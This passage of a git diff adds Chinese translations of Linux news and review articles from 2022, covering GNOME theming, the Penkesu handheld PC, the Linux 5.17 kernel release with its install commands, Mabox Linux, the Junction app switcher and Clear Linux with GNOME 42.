+在位置和大小选项卡中,将停靠区位置改为底部,图标大小限制为 39px。 + +如果你喜欢,你可以启动 Conky,并下载一张与 Colloid 主题相配的漂亮墙纸。在这个演示中,我[选择了一张漂亮的灰色墙纸][18],它与深色主题搭配看起来非常漂亮。 + +### 结果 + +在所有的配置之后,如果一切顺利,你的桌面应该是这样的。 + +![GNOME Customization in Ubuntu with a simple look-1][19] + +![GNOME Customization in Ubuntu with a simple look-2][20] + +![GNOME Customization in Ubuntu with a simple look-3][21] + +你可以通过多种设置组合来玩转这个主题的不同变体。并创造一个更适合你的外观。 + +我希望这个指南能帮助你把你的 GNOME 桌面改造成简洁的外观。如果你喜欢这个设置,请在下面的评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/customize-gnome-clean-look-2022-1/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2022/03/Ubuntu-Desktop-with-GNOME-Before-Customization-1024x582.jpg +[2]: https://extensions.gnome.org/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/03/Add-Browser-Add-on-for-GNOME-Shell-Extension.jpg +[4]: https://dl.flathub.org/repo/appstream/org.gnome.Extensions.flatpakref +[5]: https://github.com/vinceliuice/Colloid-gtk-theme/archive/refs/heads/main.zip +[6]: https://github.com/zayronxio/Mkos-Big-Sur/archive/refs/heads/master.zip +[7]: https://github.com/vinceliuice/Vimix-cursors +[8]: https://extensions.gnome.org/extension/2/move-clock/ +[9]: https://extensions.gnome.org/extension/307/dash-to-dock/ +[10]: https://extensions.gnome.org/extension/2890/tray-icons-reloaded/ +[11]: https://extensions.gnome.org/extension/3628/arcmenu/ +[12]: https://extensions.gnome.org/extension/19/user-themes/ +[13]: https://www.debugpoint.com/wp-content/uploads/2018/05/GNOME-Extension-Page.png +[15]: https://www.debugpoint.com/wp-content/uploads/2022/03/Apply-Themes.jpg +[16]: https://icons.iconarchive.com/icons/tatice/operating-systems/32/Gnome-icon.png +[17]: https://www.debugpoint.com/wp-content/uploads/2022/03/Arch-Menu-Raven.jpg +[18]: https://i.redd.it/1ttvv79apo851.png +[19]: https://www.debugpoint.com/wp-content/uploads/2022/03/GNOME-Customization-in-Ubuntu-with-a-simple-look-1-1024x579.jpg +[20]: https://www.debugpoint.com/wp-content/uploads/2022/03/GNOME-Customization-in-Ubuntu-with-a-simple-look-2-1024x580.jpg +[21]: https://www.debugpoint.com/wp-content/uploads/2022/03/GNOME-Customization-in-Ubuntu-with-a-simple-look-3-1024x576.jpg +[22]: https://t.me/debugpoint +[23]: https://twitter.com/DebugPoint +[24]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[25]: https://facebook.com/DebugPoint \ No newline at end of file diff --git a/published/202203/20220321 Build Your Own Handheld Linux PC with Raspberry Pi and this Open Source Project.md b/published/202203/20220321 Build Your Own Handheld Linux PC with Raspberry Pi and this Open Source Project.md new file mode 100644 index 0000000000..db61c7cd14 --- /dev/null +++ b/published/202203/20220321 Build Your Own Handheld Linux PC with Raspberry Pi and this Open Source Project.md @@ -0,0 +1,81 @@ +[#]: subject: "Build Your Own Handheld Linux PC with Raspberry Pi and this Open Source Project" +[#]: via: "https://news.itsfoss.com/penkesu-handheld-linux-pc/" +[#]: author: "John Paul https://news.itsfoss.com/author/john/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14408-1.html" + +用树莓派打造你的手持 Linux 电脑 +====== + +> Penkesu 电脑:一个自制的复古式手持 Linux 电脑。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/penkesu-handheld-linux-pc.jpg?w=1200&ssl=1) + +你是否曾希望有一台适合你手持的、带有键盘的 Linux 笔记本电脑?如果是这样,那么你幸运了。一位硬件设计师创造了这样一个设备,并将其设计开源,让任何人都可以在家里制作它。 + +### 它是什么? + +![][1] + +Penkēsu 电脑(Penkēsu 是日语中“铅笔盒”的意思)是由 [Penk Chen][2] 设计的。如果这个名字听起来很熟悉,他就是 [CutiePi][3] 背后的设计师。 + +根据该网站称,Penk 创建这个项目是因为: + +> 自从 CutiePi 平板电脑成功获得了资金并开始发货后,我觉得有必要干一个新的项目,一个我不需要太担心商业可行性、并提醒自己做手工的初衷的项目。可以说,这是一个“反弹”项目。 + +他还说,他目前没有任何大规模生产 Penkēsu 的计划,所以他把该规划开源了。“我想公布所有的设计和规划,这样就可以给任何有兴趣制作一个的人足够的信息。” + +### 零件 + +![][5] + +Penk 围绕一个 7.9 英寸的触摸屏和一个定制键盘设计了 Penkēsu。内部结构由树莓派 Zero 2 W 和锂聚合物电池供电。树莓派 Zero 2 W 有一个 1GHz 的 ARM 四核 ARM Cortex-A53 处理器和 512MB 的内存。花上 15 美元,这块树莓派应该可以运行大多数为它设计的 Linux 发行版。 + +有趣的是,Penk 说,“我的 3D 打印机不够精确,无法打印出一个功能齐全的铰链锁”。因此,他决定使用来自任天堂 GBA SP 的替换铰链。 + +看起来最困难的部分是键盘,这涉及到一个定制的 PCB。Penk 确实注意到,“如果希望使用其他 40% 键盘来制作,可以通过编辑 CAD 文件和调整机箱中的隔间大小来完成”。 + +以下是所需零件的完整清单: + +* 显示器 + * 微雪 7.9 英寸电容式触摸屏 + * Adafruit DIY HDMI 电缆部件 - 直角适配器、Mini-HDMI 适配器和 20 厘米带状电缆 +* 外壳 + * GBA SP 替代铰链 + * 3D 打印部件(STL 文件和 STEP 文件) +* 电子产品 + * 树莓派 Zero 2 W + * 3.7V 606090(或类似尺寸)锂聚合物电池 + * Adafruit PowerBoost 1000C +* 键盘 + * 凯华 Choc 矮轴 V1 x 48 + * MBK Choc 矮轴键帽 x 48 + * 1N4148 二极管 x 48 + * Arduino Pro Micro x 1 + * PCB x 1(gerber 文件和 QMK 固件) + +详见 [网站][4] 的完整细节。 + +你用树莓派做了什么项目?请在下面的评论中分享。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/penkesu-handheld-linux-pc/ + +作者:[John Paul][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/john/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/penkesu.computer-31.jpg?w=1000&ssl=1 +[2]: https://github.com/penk +[3]: https://itsfoss.com/cutiepi-open-source-tab/ +[4]: http://penkesu.computer/ +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/penkesu.computer-parts.jpg?w=1000&ssl=1 \ No newline at end of file diff --git a/published/202203/20220321 Linux Kernel 5.17 Released. This is What-s New.md b/published/202203/20220321 Linux Kernel 5.17 Released. This is What-s New.md new file mode 100644 index 0000000000..7c511aced6 --- /dev/null +++ b/published/202203/20220321 Linux Kernel 5.17 Released. This is What-s New.md @@ -0,0 +1,134 @@ +[#]: subject: "Linux Kernel 5.17 Released. This is What’s New" +[#]: via: "https://www.debugpoint.com/2022/03/linux-kernel-5-17/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14384-1.html" + +Linux 内核 5.17 发布及新变化 +====== + +> Linux 内核 5.17 已经发布,它具有更好的硬件支持和核心模块改进。下面是对新功能的简要介绍,并附有下载和安装细节。 + +![Linux 内核 5.17 带来了更多的硬件兼容性][1] + +Linux Torvalds [宣发了][2] Linux 内核 5.17,这是 2022 年第二个稳定版主线内核。这个版本的内核模块中引入了对新处理器、显卡、存储和其他硬件组件的支持。 + +比内核 5.16 发布后的时间表稍有延迟,Linux 主线内核 5.17 现在可供下载了。这些更新包括对 AMD Zen 系列设备的温度支持;长期存在的软盘挂起错误,几个 ARM/SoC 支持以及各个子系统的性能改进。 + +我们已经在第一个候选版本发布时介绍了大部分变化,下面是对 Linux 内核 5.17 新特性的快速回顾。 + +### Linux 内核 5.17 的新内容 + +#### 处理器 + +Linux 内核中的 ARM64 架构现在包括了内核并发净化器Kernel Concurrency Sanitizer(KCSAN)。KSCAN 是一个竞争条件检测器,已经支持了其他架构。而现在 ARM64 也在支持名单上了。另外,可扩展矩阵扩展Scalable Matrix Extensions(SME)的初始工作有望为矩阵操作提供更好、更快的支持。 + +AMD [带来了][3] 基于 k10temp 的 CPU 温度监控,用于 AMD Zen 系列第 19 代 CPU 型号。 + +一组广泛的 Arm/SoC 支持 [进入了][4] Linux 内核 5.17 中。其中主要包括新的 Snapdragon 8 Gen 1 和 X65 平台。其他 SoC 包括恩智浦 i.MX8ULP、德州仪器 J721S2 和瑞萨 R-Car S4-8。 + +CPU 的重大变化之一是加入了 AMD 的 P-state 驱动,这是与 Valve 为 Steam Deck 合作开发的。这将提供更好的电源效率,因为透过 ACPI 协作处理器性能控制Collaborative Processor Performance Controls(CPPC)支持,可以更加细化的控制电源。 + +这个内核中另一个重要的 RISC-V 变化是支持 sv48,提供了 48 位虚拟地址空间。这使得内核可以对高达 128TB 的虚拟地址空间进行寻址。 + +这个版本带来了很多笔记本电脑、平板电脑的驱动更新。[这里][5] 有一个列表,主要内容是: + +- 为华硕 ROG 笔记本电脑增加了自定义风扇曲线支持。 +- 增加了对通用手写笔计划Universal Stylus Initiative(USI)和 NVIDIA Tegra 平板电脑的支持。 +- 对基于 AMD 的笔记本电脑的一些性能改进和修复,涉及到睡眠和声音驱动。 + +#### 显卡 + +英特尔的 Alder Lake P 显卡经过前一年的多次迭代,现在已经在主线内核上稳定了。这个内核引入了 [对 Raptor Lake S 显卡的首批支持补丁][6]。 + +英特尔的 Gen Icelake 显卡家族 [获得了][7] 可变刷新率/自适应同步支持。 + +一些较新的笔记本电脑带来了内置的隐私屏幕,预计更多的 OEM 厂商会效仿。另外,值得注意的是,GNOME 桌面和其他公司正计划在之后使用这一隐私功能。所以,为了这个以隐私为中心的功能,最初的架构和代码工作都已经包含在这个内核版本中了。 + +你可以在 [这里][9] 找到一个很好的显卡驱动更新列表。 + +#### 存储 + +在内核的每个版本中都会对所有主要的文件系统和存储技术进行增量更新。这个版本也会有一些: + + * 主要的更新包括流行的 EXT4 文件系统使用新的 Linux 挂载 API。 + * 像往常一样,[F2FS][10]、[Btrfs][11] 和 [XFS][12] 的性能得到改善。 + * FS-Cache 和 CacheFiles 模块 [做了][13] 重大重写。 + +#### 杂项硬件更新 + +今天谁还在使用软盘?我相信仍然有一些特定的商业用例仍在使用软盘。所以,这就给我们带来了这个特定的补丁,在这个内核版本中。内核中存在一个长期的错误:当系统试图读取一个坏掉的软盘时可能会挂起。所以,这个老毛病终于在这个版本中得到了解决,我希望能让少数仍然使用这种古老存储介质的人为此驻足一下。 + +其他值得注意的杂项硬件更新包括: + + * 任天堂 GameCube/Wii/Wii U 实时时钟 [驱动][14]。 + * 一个通用的 USB GNSS(全球导航卫星系统Global Navigation Satellite System)驱动程序。 + * Cirrus CS35L41 高清音频编解码器 [驱动][15]。 + * 许多英特尔 Wi-Fi 驱动程序 [改进][16]。 + * 英特尔 Alder Lake N [音频][17] 支持。 + +### 如何下载和安装 Linux 内核 5.17 + +我们总是建议不要在你的稳定系统中安装最新的主线内核,除非你拥有特定的新硬件或想做实验。对于普通用户来说,最好是通过你的 Linux 发行版(如 Ubuntu、Fedora)的官方部署渠道等待内核的更新。 + +如果你仍然想安装,请按照下面的说明来安装 Linux 内核 5.17。 + +访问 [主线内核页面][18]。 + +有两种类型的构建可供选择:**通用**的和**低延迟**的。对于标准的系统,你可以下载通用的构建,大部分时间都可以工作。对于音频录制和其他需要低延迟的设置,请下载低延迟的。 + +通过终端下载以下四个通用软件包并安装: + +``` +wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17/amd64/linux-headers-5.17.0-051700-generic_5.17.0-051700.202203202130_amd64.deb +wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17/amd64/linux-headers-5.17.0-051700_5.17.0-051700.202203202130_all.deb +wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17/amd64/linux-image-unsigned-5.17.0-051700-generic_5.17.0-051700.202203202130_amd64.deb +wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17/amd64/linux-modules-5.17.0-051700-generic_5.17.0-051700.202203202130_amd64.deb +``` + +安装完毕后,重新启动系统。 + +低延迟和其他架构(ARM)的安装指令是一样的。替换上述 `wget` 命令中的软件包名称。你可以在主线内核页面找到它们。 + +对于 Arch Linux 用户来说,预计 Linux 内核 5.17 发布包将在 2022 年 4 月第一周的 Arch .iso 月度刷新中到达。 + +随着这个版本的发布,合并窗口将为接下来 Linux 内核 5.18 打开。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/linux-kernel-5-17/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2022/03/kernel517-1024x576.png +[2]: https://lkml.org/lkml/2022/3/20/213 +[3]: https://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging.git/commit/?h=hwmon-next&id=6482dd78c00c6d604ac1c757fb2d8a2be2878654 +[4]: https://lore.kernel.org/linux-arm-kernel/CAK8P3a0RDZpLtWjMEU1QVWSjOoqRAH6QxQ+ZQnJc8LwaV7m+JQ@mail.gmail.com/ +[5]: https://lore.kernel.org/lkml/aea4c26b-25a1-9480-f780-7eb3502a4ce4@redhat.com/T/#u +[6]: https://lore.kernel.org/dri-devel/87ee6f5h9u.fsf@intel.com/ +[7]: https://lists.freedesktop.org/archives/intel-gfx/2021-November/284109.html +[8]: https://www.debugpoint.com/2022/01/linux-kernel-5-17-rc1/ +[9]: https://lists.freedesktop.org/archives/dri-devel/2022-January/336492.html +[10]: https://lore.kernel.org/lkml/YedlHVEa4sdbvB2F@google.com/ +[11]: https://lore.kernel.org/lkml/cover.1641841093.git.dsterba@suse.com/ +[12]: https://lore.kernel.org/lkml/YdyxjTFaLWif6BCM@mit.edu/ +[13]: https://lore.kernel.org/lkml/510611.1641942444@warthog.procyon.org.uk/ +[14]: https://lore.kernel.org/lkml/Yen7oaDXAbd4tFOD@piout.net/ +[15]: https://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound.git/commit/?h=for-next&id=7b2f3eb492dac7665c75df067e4d8e4869589f4a +[16]: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net-next.git/commit/?id=bc11517bc8219314948780570ec92814d14d6602 +[17]: https://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound.git/commit/?h=for-next&id=4d5a628d96532607b2e01e507f951ab19a33fc12 +[18]: https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.17 +[19]: https://t.me/debugpoint +[20]: https://twitter.com/DebugPoint +[21]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[22]: https://facebook.com/DebugPoint diff --git a/published/202203/20220321 Mabox Linux - Beautiful Arch Linux with Openbox -Review.md b/published/202203/20220321 Mabox Linux - Beautiful Arch Linux with Openbox -Review.md new file mode 100644 index 0000000000..7a8cbf0b0b --- /dev/null +++ b/published/202203/20220321 Mabox Linux - Beautiful Arch Linux with Openbox -Review.md @@ -0,0 +1,131 @@ +[#]: subject: "Mabox Linux – Beautiful Arch Linux with Openbox [Review]" +[#]: via: "https://www.debugpoint.com/2022/03/mabox-linux-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14416-1.html" + +Mabox Linux:带有 Openbox 的美丽的 Arch Linux +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/31/101104lieqiqhq3sezqtih.jpg) + +> Mabox Linux 是一个 Manjaro Linux 重制版,带有一个轻量级的 Openbox 窗口管理器,已经预配置了主题和实用程序。我们将在这篇文章中点评这个发行版。 + +如果你喜欢窗口管理器,也喜欢基于滚动发布的 Arch Linux,并且正在寻找一个具有这种组合的现成 Linux 发行版,可以试试 Mabox Linux。Mabox Linux 是建立在很棒的 Manjaro Linux 之上的,带有 Openbox 窗口管理器和一些原生实用程序。 + +由于采用了 Openbox,这个 Linux 发行版在维持超轻量级的资源消耗的同时,也提供了一个漂亮的桌面。改编自 BunsenLabs,并受 Crunchbang 启发的 Mabox Linux 工具也带来了他们的一些应用。 + +让我们来深入了解一下这个了不起的 Linux 发行版。 + +### Mabox Linux 点评 + +#### 安装和现场介质 + +Mabox .ISO 的优势之一是它在现场介质Live medium启动过程中为你提供了自由和专有的驱动程序的两种选择。如果你的系统中有英伟达或其他硬件,这对你有帮助。 + +现场桌面Live desktop让你可以通过 Calamares 安装程序来安装 Mabox。在标准硬件上,安装大约需要 3 到 4 分钟,在我的测试中没有遇到错误。 + +安装程序也会检测测试设备中的其他操作系统。 + +#### 具有自定义的外观和感受 + +Mabox 带来了一个预配置的 Openbox 窗口管理器。这个搭配的版本看起来不错,有深色外观和带面板的菜单。 + +顶部的面板是用 Tint2 构建的,分成两个部分。左边的面板为你提供了主菜单、文件管理器、网页浏览器的快捷方式。面板上的鼠标左键和右键有不同的菜单。右边的面板包含资源监视器、音量控制、截屏快捷方式和电源菜单。顶部面板不是连续的,在某些主题下,应用程序窗口会停留在顶部。 + +![Mabox Linux with Nord Theme][1] + +在桌面的右边部分,预配置的 Conky 脚本可以给你提供系统信息,包括日期、时间、存储和其他显示。 + +欢迎窗口为你提供了关于设置、帮助和支持的快速启动快捷方式,并有文档链接。 + +窗口管理器适合于键盘操作,有时不便于用鼠标操作。但由于 Openbox 和预配置的 Mabox,你可以轻松地使用鼠标,同时通过灵巧的键盘快捷方式提高你的工作效率。 + +桌面上的右键菜单为你提供了轻松的搜索和启动选项。 + +![Search and Launch from desktop][2] + +如果你不喜欢默认的外观,你可以通过 Openbox 和 Tint2 面板配置工具,只需点击几下就可以自行定制。 + +![Main Application Menu][3] + +Mabox 预设有不同的主题,包括面板和 Concky 脚本。你可以点击并应用这些令人惊叹的 Mabox 主题。如果你不想陷入自己配置面板、颜色和 Conky 的麻烦中,这是一个很好的功能。 + +一套好的墙纸可以让你随时让它在短时间内看起来更加美妙。 + +![Mabox Themes][5] + +#### 应用 + +Mabox Linux 将所有必要的应用打包在其安装镜像中。以下是所包含的基本应用的简单列表。 + + * Terminator 终端 + * Xpad 快速写字板 + * PCManFM 文件管理器 + * FSearch 桌面文件搜索 + * Flameshot 截图工具 + * Geany 文本编辑器 + * Audacious 音乐播放器 + * Firefox 网页浏览器 + +Mabox 还包括控制中心,以有效管理你的系统。Mabox 控制中心可以让你添加/删除应用、更新你的系统、启动窗口管理组件的几个配置窗口,诸如此类。 + +如果你找不到某个设置,你可以在 Mabox 控制中心通过其系统设置的逻辑分组轻松找到它们。 + +![Mabox Control Center][6] + +#### 性能如何? + +Mabox Linux 的性能令人印象非常深刻。由于采用了 Openbox 窗口管理器,Mabox 只用了大约 350MB 多点的内存,而 CPU 在空闲状态下徘徊在 2% 到 3%。 + +默认安装需要大约 5.39GB 的磁盘空间,这对于预装的这些应用和设置程序来说是不可思议的。 + +在如此优化下,以至于它消耗内存最多的应用是 Xorg,有 90MB。 + +所以,我想尝试一下重度使用下的性能。而这个性能也是令人惊讶的。我打开了一个文件管理器、带三个标签的 Firefox、一个用于开发的文本编辑器、一个终端窗口和控制中心。在这样的工作负荷下,Mabox 只消耗了大约 920MB 的内存和 6% 到 7% 的 CPU。 + +![Mabox Linux Heavy Workload Performance][7] + +在 [点评几个发行版][8] 的过程中,这是我第一次发现一个发行版在重度工作负荷下不超过 1GB 内存的情况。但在不同的使用情况下,结果可能有所不同。无论如何,这个指标还是令人印象深刻。 + +### Mabox Linux 可以作为日常使用吗? + +如果你对带有窗口管理器的 Arch Linux 比较熟悉和适应,你可以把 Mabox Linux 作为日常使用。有几个打包好的带有窗口管理器的 Arch Linux 发行版,而 Mabox 是其中最好的一个。 + +![Mabox Linux Windows 95 pre-configured theme][9] + +### 总结 + +我认为 Mabox Linux 团队将所有组件与 Arch Linux 打包在一起,并呈现出一个漂亮的 Linux 发行版,做得非常好。它的外观惊艳,而消耗的系统资源却很少。有了基于 Arch Linux 的滚动发布功能,我认为你可以信赖这个发行版的长期使用。 + +你可以从它的 [官方网页][10] 下载 Mabox Linux。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/mabox-linux-2022/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2022/03/Mabox-Linux-with-Nord-Theme-1024x581.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/03/Search-and-Launch-from-desktop.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/03/Main-Application-Menu.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/03/Mabox-Themes.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/03/Mabox-Control-Center.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/03/Mabox-Linux-Heavy-Workload-Performance-1024x508.jpg +[8]: https://www.debugpoint.com/tag/linux-distro-review +[9]: https://www.debugpoint.com/wp-content/uploads/2022/03/Mabox-Linux-Windows-95-preconfigured-theme-1-1024x577.jpg +[10]: https://maboxlinux.org/ +[11]: https://t.me/debugpoint +[12]: https://twitter.com/DebugPoint +[13]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[14]: https://facebook.com/DebugPoint \ No newline at end of file diff --git a/published/202203/20220322 Junction- An Application Switcher to Open Files and Links.md b/published/202203/20220322 Junction- An Application Switcher to Open Files and Links.md new file mode 100644 index 0000000000..5d26c6a4b3 --- /dev/null +++ b/published/202203/20220322 Junction- An Application Switcher to Open Files and Links.md @@ -0,0 +1,107 @@ +[#]: subject: "Junction: An Application Switcher to Open Files and Links" +[#]: via: "https://itsfoss.com/junction/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14414-1.html" + +Junction:一个可以打开文件和链接的应用切换器 +====== + +> 这是一个有趣的工具,可以轻松地访问文件或打开链接。让我们来了解一下。 + +对于那些涉足使用多个应用访问不同文件和使用各种浏览器打开链接的用户来说,其工作流程往往没那么多顺畅。 + +你可能已经习惯了,但这可能不是完成事情的最快方式。 + +认识一下 **Junction**,这是一个应用切换器,帮助你用最喜欢的应用快速打开文件/链接。 + +### Junction: 开源的 Linux 应用或浏览器切换器 + +![][1] + +虽然我们可以在打开文件时使用右键菜单中的 “用……打开” 选项来选择某个应用,但这并不是最快的方法。 + +有了 [Junction][2],你不必寻找希望用什么程序打开该文件(或不断改变默认值),而只需将 “Junction” 应用设置为你的默认值。 + +这样,每当你打开一个链接或访问一个文件、启动电子邮件编辑器等,Junction 应用就会启动,向你显示你可能想要访问的相关应用。 + +此外,它还支持键盘导航,使其成为键盘高级用户的一个有益补充。 + +![][3] + +基本上,每次你想在不同的应用中访问文件/链接时,它都能为你节省一些点击次数。 + +### Junction 的特点 + +![][4] + +它是一个适合于特定用户群的简单工具。你可能觉得它是多余的,也可能不是,但在你想尝试的情况下,它的功能应该可以弥补它的不足: + +* 通过启动器/切换器选择要打开的应用 +* 在启动前显示文件位置 +* 在打开 URL 之前能够编辑它 +* 提示不安全的链接 +* 键盘导航 +* 能够在切换器/启动器中添加更多的应用(它也会记住添加的内容,以便下次使用) + +![][5] + +### 使用 Junction 来访问文件和链接 + +要设置它,你需要启动应用并将 Junction 设置为 Web 的默认值,如下图所示。 + +![][6] + +要在任何文件类型上使用它,你可以前往各自的文件属性,并为它改变默认的应用,如下图所示: + +![][7] + +对于链接,如上面的截图所示,你可以通过点击 “Test Junction” 来测试它。或者,你可以点击其他应用的任何链接,看看 Junction 应用的运行情况。 + +下面是你试图点击一个链接并让 Junction 帮助你选择时的情况: + +![][8] + +### 在 Linux 中安装 Junction + +Junction 主要以 Flatpak 应用的形式提供。因此,你可以从 [Flathub][9] 安装软件包,或者在软件中心寻找它(如果 Flatpak 集成完毕)。 + +考虑到你已经设置了 [Flatpak][10],你可以输入以下命令来安装它: + +``` +flatpak install flathub re.sonny.Junction +``` + +你也可以查看它的 [GitHub 页面][11],了解更多的使用案例或利用它的技巧/窍门。 + +- [Junction][9] + +你认为像 Junction 这样的应用切换器怎么样?它对你有用吗?请在下面的评论中告诉我你的想法,或简单的一句“谢谢”。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/junction/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/Junction-ft.png?resize=800%2C450&ssl=1 +[2]: https://apps.gnome.org/app/re.sonny.Junction/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/junction-action-screenshot.jpg?resize=800%2C450&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/junction-app-screenshot.jpg?resize=800%2C455&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/junction-app-more.jpg?resize=800%2C540&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/junction-app.jpg?resize=800%2C586&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/junction-properties.png?resize=800%2C511&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/junction-link-click.jpg?resize=800%2C505&ssl=1 +[9]: https://flathub.org/apps/details/re.sonny.Junction +[10]: https://itsfoss.com/flatpak-guide/ +[11]: https://github.com/sonnyp/Junction diff --git a/published/202203/20220323 Clear Linux is the First Distro to Offer GNOME 42.md b/published/202203/20220323 Clear Linux is the First Distro to Offer GNOME 42.md new file mode 100644 index 0000000000..c2d96e2463 --- /dev/null +++ b/published/202203/20220323 Clear Linux is the First Distro to Offer GNOME 42.md @@ -0,0 +1,73 @@ +[#]: subject: "Clear Linux is the First Distro to Offer GNOME 42" +[#]: via: "https://news.itsfoss.com/clear-linux-gnome-42/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14400-1.html" + +Clear Linux 是首个提供 GNOME 42 的发行版 +====== + +> 击败了 Arch 和 Fedora,Clear Linux 的最新版本提供了 GNOME 42 的稳定版本。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/clear-linux-gnome-42.jpg?w=1200&ssl=1) + +Clear Linux 是一个开源的滚动发布的发行版,它为云计算和边缘计算的开发者量身定制。 + +你可能不知道,Clear Linux 是一个英特尔Intel的项目。它针对英特尔的处理器做了优化,并且提供了一个容器快速部署的环境。 + +它同时支持了桌面和服务器(AWS、Google Compute Engine 和 Azure Hyper-V 等)。 + +> **注意:** _与即将发布的 Fedora 36 工作站版和 Ubuntu 22.04 长期支持版相比,Clear Linux 算不上是一个完美的替代桌面。如果你对这个发行版感兴趣,我建议你先在虚拟机上尝试一下。_ + +令人惊讶的是,Clear Linux 的最新发布版看起来会包括 GNOME 42(稳定版)。 + +更不用提,Clear Linux 比 Arch 和 Fedora 更新地还要快,提供了最新的 GNOME 稳定发布版。 + +### Clear Linux 上的 GNOME 42 + +![][1] + +你可以期待在 Clear Linux 上看到 [最好的 GNOME 42 特性][2]。 + +根据我的简单使用,其中大部分功能都符合你对 GNOME 42 的预期。 + +![][3] + +文件管理器、日历、照片、天气以及许多其他应用程序都反映出,最新的 GNOME 42 版本升级到了 GTK 4。 + +当然,在 Clear Linux 上,默认的桌面壁纸会有些不同,但你可以获取到同一套壁纸集的浅色/深色不同版本。 + +![][4] + +我在虚拟机上测试过,它的运行情况和预期的一致,没有显著的缺陷。 + +如果你已经在使用 Clear Linux 了,或者对它好奇,想要了解更多,你可以在它的 [版本发布说明][5] 中找到更多细节,包括更新的软件包和其他变化。 + +### 下载附带 GNOME 42 的 Clear Linux + +或许你在它的官网下载页面找不到最新的发布版。但是,你可以在 [官方下载仓库][6] 中找到它。 + +你可以根据自身需求(服务器/桌面),下载到对应的 ISO 文件。现在就开始体验吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/clear-linux-gnome-42/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] 